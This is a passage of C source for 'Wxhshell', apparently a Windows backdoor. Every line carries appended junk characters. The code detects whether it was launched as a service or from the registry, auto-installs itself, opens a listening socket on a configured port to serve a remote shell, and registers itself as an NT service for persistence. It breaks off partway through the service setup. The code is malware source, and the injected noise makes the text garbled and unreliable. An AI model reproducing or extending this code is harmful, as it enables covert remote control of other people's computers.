PROCNTQSIP NtQueryInformationProcess; xx%j.zDI]
R',rsGd`6j
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; psMvq@>
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g~A`N=r;h
VZmLS 4E
HANDLE hProcess; OA"q[s
PROCESS_BASIC_INFORMATION pbi; o="M
\ Et3|Iv
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zsyIV!(
if(NULL == hInst ) return 0; SmSH2m-
e [mm
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6.nCV0xA
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s{\8om'-
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EE'io5\et
+Kbjzh3<wG
if (!NtQueryInformationProcess) return 0; O*)Vhw'pK
9H`XeQ.
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]a*d#
if(!hProcess) return 0; 54R#W:t
'^~{@~ ;%L
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 65$+{s
nwRc%C``UK
CloseHandle(hProcess); V7fq4O^:
::{Q1F
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UIN<2F_
if(hProcess==NULL) return 0; P%&0]FCx
}.m<
HMODULE hMod; My[pr_xg
char procName[255]; ;LSANr&
unsigned long cbNeeded; MPg)=LI
c>:wd@w
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ywm8N%]v
Hp!-248 S
CloseHandle(hProcess); k],Q9
rgtT~$S
if(strstr(procName,"services")) return 1; // 以服务启动 =BAW[%1b
0e ~JMUb
return 0; // 注册表启动 Z!zF\<r
} 3/e.38m|
EPM-df!=
// 主模块 J({Xg?
int StartWxhshell(LPSTR lpCmdLine) RF4vtQC=
{ 9FYUo
SOCKET wsl; tKx~1-
BOOL val=TRUE; :L@?2),
int port=0; l=)xo@6
struct sockaddr_in door; n QZwC
,I(d6
if(wscfg.ws_autoins) Install(); /quc}"__
gANuBWh8T
port=atoi(lpCmdLine); J^5So
e9 5Lo+:f
if(port<=0) port=wscfg.ws_port;
?2{Gn-{
&LZn
FR
WSADATA data; {xB!EQ"
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =I;ZMJR
Tc &z:
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; (U_ujPD ?
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oiT[de\S
door.sin_family = AF_INET; j2.|ln"!
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^"1n4im
door.sin_port = htons(port); ~{B7 k:
ju8q?Nyhs
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bj0G5dc=
closesocket(wsl); A _
N;
return 1; 0c'<3@39k|
} KNpl:g3{<Q
yyRiP|hJ
if(listen(wsl,2) == INVALID_SOCKET) { '(yAfL 9}
closesocket(wsl); g:D>.lKd
return 1; -)]Yr #Q
} ~>Fu5i $i
Wxhshell(wsl); L Mbn
WSACleanup(); i8[t=6Rm@
0gy/:T
return 0; %D}kD6=
aweV#j(y
} {V$|3m>:*
D4-ifsP
// 以NT服务方式启动 O%zU-_|*
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Cc' 37~6~P
{ 8 \ +T8(m
DWORD status = 0; G"U9E5O
DWORD specificError = 0xfffffff; YYl 4"l
~tUl}
serviceStatus.dwServiceType = SERVICE_WIN32; kmsb hYM)
serviceStatus.dwCurrentState = SERVICE_START_PENDING; eH3JyzzP,
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &5spTMw8
serviceStatus.dwWin32ExitCode = 0; ZQoU3AD;
serviceStatus.dwServiceSpecificExitCode = 0; AJ?r,!)
serviceStatus.dwCheckPoint = 0; wh\}d4gN
serviceStatus.dwWaitHint = 0; )72+\C[*~r
YY((V@|K
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nE&